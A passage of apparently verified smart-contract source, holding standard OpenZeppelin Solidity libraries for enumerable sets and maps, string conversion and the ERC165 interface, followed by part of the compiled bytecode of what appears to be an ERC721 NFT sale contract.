(bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101ee5760003560e01c80636352211e1161010d57806398d5fdca116100a0578063c87b56dd1161006f578063c87b56dd14610d67578063ce03ec9314610e1b578063e985e9c514610e32578063f2fde38b14610eb9578063f47c84c514610f0a576101ee565b806398d5fdca14610b9f578063a0712d6814610bca578063a22cb46514610bf8578063b88d4fde14610c55576101ee565b806378cf19e9116100dc57806378cf19e914610a385780638da5cb5b14610a9357806391b7f5ed14610ad457806395d89b4114610b0f576101ee565b80636352211e146108c75780636c0360eb1461092c57806370a08231146109bc578063715018a614610a21576101ee565b806318160ddd1161018557806342842e0e1161015457806342842e0e146107085780634f6ccce71461078357806355f804b3146107d2578063564566a81461089a576101ee565b806318160ddd146105dc57806323b872dd146106075780632f745c59146106825780633ccfd60b146106f1576101ee565b8063095ea7b3116101c1578063095ea7b3146103e85780630d381a281461044357806310007380146104e95780631096952314610514576101ee565b806301ffc9a7146101f357806306fdde031461026357806307527f97146102f3578063081812fc14610383575b600080fd5b3480156101ff57600080fd5b5061024b6004803603602081101561021657600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610f35565b60405180821515815260200191505060405180910390f35b34801561026f57600080fd5b50610278610f9c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b857808201518184015260208101905061029d565b50505050905090810190601f1680156102e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ff57600080fd5b5061030861103e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034857808201518184015260208101905061032d565b50505050905090810190601f1680156103755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038f57600080fd5b506103bc600480360360208110156103a657600080fd5b81019080803590602001909291905050506110dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f457600080fd5b506104416004803603604081101561040b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611177565b005b34801561044f57600080fd5b506104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104d55780820151818401526020810190506104ba565b505050509050019250505060405180910390f35b3480156104f557600080fd5b506104fe6113b4565b6040518082815260200191505060405180910390f35b34801561052057600080fd5b506105da6004803603602081101561053757600080fd5b810190808035906020019064010000000081111561055457600080fd5b82018360208201111561056657600080fd5b8035906020019184600183028401116401000000008311171561058857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113b9565b005b3480156105e857600080fd5b506105f1611482565b6040518082815260200191505060405180910390f35b34801561061357600080fd5b506106806004803603606081101561062a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611493565b005b34801561068e57600080fd5b506106db600480360360408110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611509565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b50610706611564565b005b34801561071457600080fd5b506107816004803603606081101561072b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611662565b005b34801561078f57600080fd5b506107bc600480360360208110156107a657600080fd5b8101908080359060200190929190505050611682565b6040518082815260200191505060405180910390f35b3480156107de57600080fd5b50610898600480360360208110156107f557600080fd5b810190808035906020019064010000000081111561081257600080fd5b82018360208201111561082457600080fd5b8035906020019184600183028401116401000000008311171561084657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506116a5565b005b3480156108a657600080fd5b506108af611760565b60405180821515815260200191505060405180910390f35b3480156108d357600080fd5b50610900600480360360208110156108ea57600080fd5b8101908080359060200190929190505050611773565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093857600080fd5b506109416117aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610981578082015181840152602081019050610966565b50505050905090810190601f1680156109ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109c857600080fd5b50610a0b600480360360208110156109df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184c565b6040518082815260200191505060405180910390f35b348015610a2d57600080fd5b50610a36611921565b005b348015610a4457600080fd5b50610a9160048036036040811015610a5b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b005b348015610a9f57600080fd5b50610aa8611b76565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ae057600080fd5b50610b0d60048036036020811015610af757600080fd5b8101908080359060200190929190505050611ba0565b005b348015610b1b57600080fd5b50610b24611c59565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b64578082015181840152602081019050610b49565b50505050905090810190601f168015610b915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bab57600080fd5b50610bb4611cfb565b6040518082815260200191505060405180910390f35b610bf660048036036020811015610be057600080fd5b8101908080359060200190929190505050611d05565b005b348015610c0457600080fd5b50610c5360048036036040811015610c1b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611f0d565b005b348015610c6157600080fd5b50610d6560048036036080811015610c7857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610cdf57600080fd5b820183602082011115610cf157600080fd5b80359060200191846001830284011164010000000083111715610d1357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506120c3565b005b348015610d7357600080fd5b50610da060048036036020811015610d8a57600080fd5b810190808035906020019092919050505061213b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610de0578082015181840152602081019050610dc5565b50505050905090810190601f168015610e0d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e2757600080fd5b50610e3061240c565b005b348015610e3e57600080fd5b50610ea160048036036040811015610e5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124e7565b60405180821515815260200191505060405180910390f35b348015610ec557600080fd5b50610f0860048036036020811015610edc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061257b565b005b348015610f1657600080fd5b50610f1f612770565b6040518082815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110345780601f1061100957610100808354040283529160200191611034565b820191906000526020600020905b81548152906001019060200180831161101757829003601f168201915b5050505050905090565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110d45780601f106110a9576101008083540402835291602001916110d4565b820191906000526020600020905b8154815290600101906020018083116110b757829003601f168201915b505050505081565b60006110e782612776565b61113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613d6e602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061118282611773565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611209576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613df26021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16611228612793565b73ffffffffffffffffffffffffffffffffffffffff161480611257575061125681611251612793565b6124e7565b5b6112ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180613ca06038913960400191505060405180910390fd5b6112b6838361279b565b505050565b606060006112c88361184c565b9050600081141561132357600067ffffffffffffffff811180156112eb57600080fd5b5060405190808252806020026020018201604052801561131a5781602001602082028036833780820191505090505b509150506113af565b60608167ffffffffffffffff8111801561133c57600080fd5b5060405190808252806020026020018201604052801561136b5781602001602082028036833780820191505090505b50905060005b828110156113a8576113838582611509565b82828151811061138f57fe5b6020026020010181815250508080600101915050611371565b8193505050505b919050565b601481565b6113c1612793565b73ffffffffffffffffffffffffffffffffffffffff166113df611b76565b73ffffffffffffffffffffffffffffffffffffffff1614611468576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600b908051906020019061147e929190613ae5565b5050565b600061148e6002612854565b905090565b6114a461149e612793565b82612869565b6114f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180613e136031913960400191505060405180910390fd5b61150483838361295d565b505050565b600061155c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612ba090919063ffffffff16565b905092915050565b61156c612793565b73ffffffffffffffffffffffffffffffffffffffff1661158a611b76565b73ffffffffffffffffffffffffffffffffffffffff1614611613576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561165e573d6000803e3d6000fd5b5050565b61167d838383604051806020016040528060008152506120c3565b505050565b600080611699836002612bba90919063ffffffff16565b50905080915050919050565b6116ad612793565b73ffffffffffffffffffffffffffffffffffffffff166116cb611b76565b73ffffffffffffffffffffffffffffffffffffffff1614611754576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61175d81612be6565b50565b600d60009054906101000a900460ff1681565b60006117a382604051806060016040528060298152602001613d02602991396002612c009092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118425780601f1061181757610100808354040283529160200191611842565b820191906000526020600020905b81548152906001019060200180831161182557829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd8602a913960400191505060405180910390fd5b61191a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612c1f565b9050919050565b611929612793565b73ffffffffffffffffffffffffffffffffffffffff16611947611b76565b73ffffffffffffffffffffffffffffffffffffffff16146119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611a99612793565b73ffffffffffffffffffffffffffffffffffffffff16611ab7611b76565b73ffffffffffffffffffffffffffffffffffffffff1614611b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000611b4a611482565b905060005b82811015611b7057611b6384828401612c34565b8080600101915050611b4f565b50505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611ba8612793565b73ffffffffffffffffffffffffffffffffffffffff16611bc6611b76565b73ffffffffffffffffffffffffffffffffffffffff1614611c4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c8190555050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cf15780601f10611cc657610100808354040283529160200191611cf1565b820191906000526020600020905b815481529060010190602001808311611cd457829003601f168201915b5050505050905090565b6000600c54905090565b6000611d0f611482565b9050600d60009054906101000a900460ff16611d93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f53616c65206973206e6f7420616374697665000000000000000000000000000081525060200191505060405180910390fd5b600082118015611da65750600160140182105b611dfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180613e44603f913960400191505060405180910390fd5b6001610d160182820110611e5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180613bfd602d913960400191505060405180910390fd5b611e6f82600c54612c5290919063ffffffff16565b341015611ee4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45746865722076616c75652073656e74206973206e6f7420636f72726563740081525060200191505060405180910390fd5b60005b82811015611f0857611efb33828401612c34565b8080600101915050611ee7565b505050565b611f15612793565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fb6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060056000611fc3612793565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612070612793565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6120d46120ce612793565b83612869565b612129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180613e136031913960400191505060405180910390fd5b61213584848484612cd8565b50505050565b606061214682612776565b61219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613dc3602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122445780601f1061221957610100808354040283529160200191612244565b820191906000526020600020905b81548152906001019060200180831161222757829003601f168201915b5050505050905060606122556117aa565b905060008151141561226b578192505050612407565b60008251111561233c5780826040516020018083805190602001908083835b602083106122ad578051825260208201915060208101905060208303925061228a565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106122fe57805182526020820191506020810190506020830392506122db565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050612407565b8061234685612d4a565b6040516020018083805190602001908083835b6020831061237c5780518252602082019150602081019050602083039250612359565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106123cd57805182526020820191506020810190506020830392506123aa565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b612414612793565b73ffffffffffffffffffffffffffffffffffffffff16612432611b76565b73ffffffffffffffffffffffffffffffffffffffff16146124bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600d60009054906101000a900460ff1615600d60006101000a81548160ff021916908315150217905550565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612583612793565b73ffffffffffffffffffffffffffffffffffffffff166125a1611b76565b73ffffffffffffffffffffffffffffffffffffffff161461262a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613bd76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d1681565b600061278c826002612e9190919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661280e83611773565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061286282600001612eab565b9050919050565b600061287482612776565b6128c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613c74602c913960400191505060405180910390fd5b60006128d483611773565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061294357508373ffffffffffffffffffffffffffffffffffffffff1661292b846110dc565b73ffffffffffffffffffffffffffffffffffffffff16145b80612954575061295381856124e7565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661297d82611773565b73ffffffffffffffffffffffffffffffffffffffff16146129e9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d9a6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613c2a6024913960400191505060405180910390fd5b612a7a838383612ebc565b612a8560008261279b565b612ad681600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612ec190919063ffffffff16565b50612b2881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612edb90919063ffffffff16565b50612b3f81836002612ef59092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612baf8360000183612f2a565b60001c905092915050565b600080600080612bcd8660000186612fad565b915091508160001c8160001c9350935050509250929050565b8060099080519060200190612bfc929190613ae5565b5050565b6000612c13846000018460001b84613046565b60001c90509392505050565b6000612c2d8260000161313c565b9050919050565b612c4e82826040518060200160405280600081525061314d565b5050565b600080831415612c655760009050612cd2565b6000828402905082848281612c7657fe5b0414612ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d4d6021913960400191505060405180910390fd5b809150505b92915050565b612ce384848461295d565b612cef848484846131be565b612d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613ba56032913960400191505060405180910390fd5b50505050565b60606000821415612d92576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612e8c565b600082905060005b60008214612dbc578080600101915050600a8281612db457fe5b049150612d9a565b60608167ffffffffffffffff81118015612dd557600080fd5b506040519080825280601f01601f191660200182016040528015612e085781602001600182028036833780820191505090505b50905060006001830390508593505b60008414612e8457600a8481612e2957fe5b0660300160f81b82828060019003935081518110612e4357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8481612e7c57fe5b049350612e17565b819450505050505b919050565b6000612ea3836000018360001b6133d7565b905092915050565b600081600001805490509050919050565b505050565b6000612ed3836000018360001b6133fa565b905092915050565b6000612eed836000018360001b6134e2565b905092915050565b6000612f21846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b613552565b90509392505050565b600081836000018054905011612f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613b836022913960400191505060405180910390fd5b826000018281548110612f9a57fe5b9060005260206000200154905092915050565b6000808284600001805490501161300f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613